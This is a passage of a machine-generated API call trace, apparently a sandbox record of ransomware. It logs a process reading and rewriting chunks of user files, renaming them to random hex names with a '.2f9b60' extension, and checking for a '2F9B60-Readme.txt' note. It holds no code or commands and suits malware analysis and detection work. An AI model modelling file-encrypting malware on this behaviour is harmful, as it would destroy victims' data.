RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0105.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a90) returned 1 [0105.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0105.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0105.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0105.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0105.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261a90 [0105.519] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.519] WriteFile (in: hFile=0xe50, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2551fcf0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2551fcf0*=0x10a, lpOverlapped=0x0) returned 1 [0105.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0105.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0105.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c70 [0105.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c70) returned 1 [0105.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c70 [0105.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b60 [0105.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b60) returned 1 [0105.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0105.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f6b0 [0105.566] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="32") returned 2 [0105.566] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="41") returned 2 [0105.566] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="fa") returned 2 [0105.566] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="de") returned 2 [0105.566] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="cb") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="3e") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="c7") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="72") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="c3") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="43") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="d9") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="ba") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="72") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="dc") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="b3") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="a7") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="4a") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="99") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="55") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="6c") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6d8, _Format="%c%c" | out: _Dest="bf") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6da, _Format="%c%c" | out: _Dest="db") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6dc, _Format="%c%c" | out: _Dest="3c") returned 2 [0105.567] sprintf (in: _Dest=0x1cd9f6de, _Format="%c%c" | out: _Dest="cb") returned 2 [0105.567] RtlInitAnsiString (in: DestinationString=0x2551fd68, SourceString="3241fadecb3ec772c343d9ba72dcb3a74a99556cbfdb3ccb" | out: DestinationString="3241fadecb3ec772c343d9ba72dcb3a74a99556cbfdb3ccb") [0105.567] RtlAnsiStringToUnicodeString (in: DestinationString=0x2551fd38, SourceString="3241fadecb3ec772c343d9ba72dcb3a74a99556cbfdb3ccb", AllocateDestinationString=1 | out: DestinationString="3241fadecb3ec772c343d9ba72dcb3a74a99556cbfdb3ccb") returned 0x0 [0105.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5cc0 [0105.568] RtlFreeAnsiString (AnsiString="3") [0105.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f6b0) returned 1 [0105.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0105.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c70) returned 1 [0105.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0105.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634d0) returned 1 [0105.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260aa0) returned 1 [0105.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a90) returned 1 [0105.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f70) returned 1 [0105.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6680) returned 1 [0105.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0105.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64d0) returned 1 [0105.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279130 [0105.569] wcscat (in: _Dest=0x20279130, _Source="3241fadecb3e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\3241fadecb3e") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\3241fadecb3e" [0105.569] wcscat (in: _Dest=0x20279130, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\3241fadecb3e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\3241fadecb3e.2f9b60" [0105.569] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\3241fadecb3e.2f9b60", NtPathName=0x2551fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\3241fadecb3e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776930 [0105.569] NtSetInformationFile (FileHandle=0xe50, IoStatusBlock=0x2551fdb0, FileInformation=0x1b776930, Length=0xca, FileInformationClass=0xa) returned 0x0 [0105.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776930) returned 1 [0105.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd690) returned 1 [0105.618] NtQueryInformationFile (in: FileHandle=0xe50, IoStatusBlock=0x2551fd78, FileInformation=0x2551fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2551fd78, FileInformation=0x2551fd88) returned 0x0 [0105.618] NtSetInformationFile (FileHandle=0xe50, IoStatusBlock=0x2551fd78, FileInformation=0x2551fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0105.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5cc0) returned 1 [0105.622] FlushFileBuffers (hFile=0xe50) returned 1 [0105.623] CloseHandle (hObject=0xe50) returned 1 [0105.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279130 [0105.625] wcscpy (in: _Dest=0x20279130, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0105.625] wcscat (in: _Dest=0x20279130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0105.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0105.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0105.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10fd0) returned 1 Thread: id = 617 os_tid = 0x1088 [0095.240] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2rq4xAnMZAwBpPiEw.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2rq4xanmzawbppiew.gif")) returned 0x20 [0095.241] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2rq4xAnMZAwBpPiEw.gif", dwFileAttributes=0x20) returned 1 [0095.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2rq4xAnMZAwBpPiEw.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2rq4xanmzawbppiew.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe70 [0095.242] GetFileSizeEx (in: hFile=0xe70, lpFileSize=0x2915f9a0 | out: lpFileSize=0x2915f9a0*=81605) returned 1 [0095.242] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x13ec1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.242] ReadFile (in: hFile=0xe70, lpBuffer=0x2915f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2915f968, lpOverlapped=0x0 | out: lpBuffer=0x2915f920*, lpNumberOfBytesRead=0x2915f968*=0x4, lpOverlapped=0x0) returned 1 [0095.243] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0095.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0095.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0095.243] NtQuerySystemTime (in: CurrentTime=0x2915f860 | out: CurrentTime=0x2915f860*=132462177010798000) returned 0x0 [0095.243] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x5701506d [0095.243] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x20dfd9c7 [0095.243] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x601a1709 [0095.243] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x525c0492 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x5615ba1e [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x5cbe5918 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x62aaa70a [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x48056b31 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x7a2ed285 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x3ffb675a [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x7f5ef686 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x56c42445 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x41a12f98 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x561cbdbe [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x6900f824 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x26dbaeb6 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x6107ad49 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x517ff9a8 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x2cf1b468 [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x68345ebe [0095.244] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x61e8580d [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x7da4135b [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x1f8debcf [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x144497b6 [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x31faa904 [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x6f1d5451 [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x304066fd [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x201c576a [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x5942b577 [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x7278e99b [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x7c601d74 [0095.245] RtlRandomEx (in: Seed=0x2915f850 | out: Seed=0x2915f850) returned 0x76360109 [0095.256] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.256] ReadFile (in: hFile=0xe70, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2915f8c0, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x2915f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.257] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0095.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0095.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0095.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9a0) returned 1 [0095.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ea520 [0095.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0095.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0095.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0095.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.258] WriteFile (in: hFile=0xe70, lpBuffer=0x201ea520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2915f8c0, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesWritten=0x2915f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0095.379] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.379] ReadFile (in: hFile=0xe70, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2915f8c0, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x2915f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.379] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973f0 [0095.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0095.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0095.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8220) returned 1 [0095.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ea520 [0095.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0095.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0095.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8250) returned 1 [0095.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0095.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0095.380] WriteFile (in: hFile=0xe70, lpBuffer=0x201ea520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2915f8c0, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesWritten=0x2915f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0095.451] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x102c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.452] ReadFile (in: hFile=0xe70, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2915f8c0, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x2915f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.452] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x102c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0095.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0095.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0095.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0095.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ea520 [0095.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0095.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0095.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8070) returned 1 [0095.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0095.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0095.453] WriteFile (in: hFile=0xe70, lpBuffer=0x201ea520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2915f8c0, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesWritten=0x2915f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0095.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ef70 [0095.454] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.454] WriteFile (in: hFile=0xe70, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x2915f970, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2915f970*=0x15c, lpOverlapped=0x0) returned 1 [0095.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0095.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0095.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff10 [0095.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff10) returned 1 [0095.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9eff0 [0095.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff10 [0095.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0095.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffd0) returned 1 [0095.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0095.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0095.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c550 [0095.644] sprintf (in: _Dest=0x1cd9c550, _Format="%c%c" | out: _Dest="f3") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c552, _Format="%c%c" | out: _Dest="f9") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c554, _Format="%c%c" | out: _Dest="82") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c556, _Format="%c%c" | out: _Dest="86") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c558, _Format="%c%c" | out: _Dest="33") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c55a, _Format="%c%c" | out: _Dest="28") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c55c, _Format="%c%c" | out: _Dest="e3") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c55e, _Format="%c%c" | out: _Dest="8d") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c560, _Format="%c%c" | out: _Dest="5d") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c562, _Format="%c%c" | out: _Dest="0e") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c564, _Format="%c%c" | out: _Dest="9b") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c566, _Format="%c%c" | out: _Dest="c0") returned 2 [0095.644] sprintf (in: _Dest=0x1cd9c568, _Format="%c%c" | out: _Dest="f4") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c56a, _Format="%c%c" | out: _Dest="72") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c56c, _Format="%c%c" | out: _Dest="80") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c56e, _Format="%c%c" | out: _Dest="4b") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c570, _Format="%c%c" | out: _Dest="8c") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c572, _Format="%c%c" | out: _Dest="93") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c574, _Format="%c%c" | out: _Dest="29") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c576, _Format="%c%c" | out: _Dest="d2") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c578, _Format="%c%c" | out: _Dest="79") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c57a, _Format="%c%c" | out: _Dest="54") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c57c, _Format="%c%c" | out: _Dest="49") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c57e, _Format="%c%c" | out: _Dest="5d") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c580, _Format="%c%c" | out: _Dest="fb") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c582, _Format="%c%c" | out: _Dest="10") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c584, _Format="%c%c" | out: _Dest="1d") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c586, _Format="%c%c" | out: _Dest="3d") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c588, _Format="%c%c" | out: _Dest="54") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c58a, _Format="%c%c" | out: _Dest="a4") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c58c, _Format="%c%c" | out: _Dest="82") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c58e, _Format="%c%c" | out: _Dest="bf") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c590, _Format="%c%c" | out: _Dest="08") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c592, _Format="%c%c" | out: _Dest="dd") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c594, _Format="%c%c" | out: _Dest="4a") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c596, _Format="%c%c" | out: _Dest="7a") returned 2 [0095.645] sprintf (in: _Dest=0x1cd9c598, _Format="%c%c" | out: _Dest="51") returned 2 [0095.646] sprintf (in: _Dest=0x1cd9c59a, _Format="%c%c" | out: _Dest="70") returned 2 [0095.646] sprintf (in: _Dest=0x1cd9c59c, _Format="%c%c" | out: _Dest="50") returned 2 [0095.646] sprintf (in: _Dest=0x1cd9c59e, _Format="%c%c" | out: _Dest="b5") returned 2 [0095.646] sprintf (in: _Dest=0x1cd9c5a0, _Format="%c%c" | out: _Dest="20") returned 2 [0095.646] sprintf (in: _Dest=0x1cd9c5a2, _Format="%c%c" | out: _Dest="10") returned 2 [0095.646] RtlInitAnsiString (in: DestinationString=0x2915f9e8, SourceString="f3f982863328e38d5d0e9bc0f472804b8c9329d27954495dfb101d3d54a482bf08dd4a7a517050b52010" | out: DestinationString="f3f982863328e38d5d0e9bc0f472804b8c9329d27954495dfb101d3d54a482bf08dd4a7a517050b52010") [0095.646] RtlAnsiStringToUnicodeString (in: DestinationString=0x2915f9b8, SourceString="f3f982863328e38d5d0e9bc0f472804b8c9329d27954495dfb101d3d54a482bf08dd4a7a517050b52010", AllocateDestinationString=1 | out: DestinationString="f3f982863328e38d5d0e9bc0f472804b8c9329d27954495dfb101d3d54a482bf08dd4a7a517050b52010") returned 0x0 [0095.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107d80 [0095.646] wcscat (in: _Dest=0x1cf4da40, _Source="f3f982863328e38d5d0e9" | out: 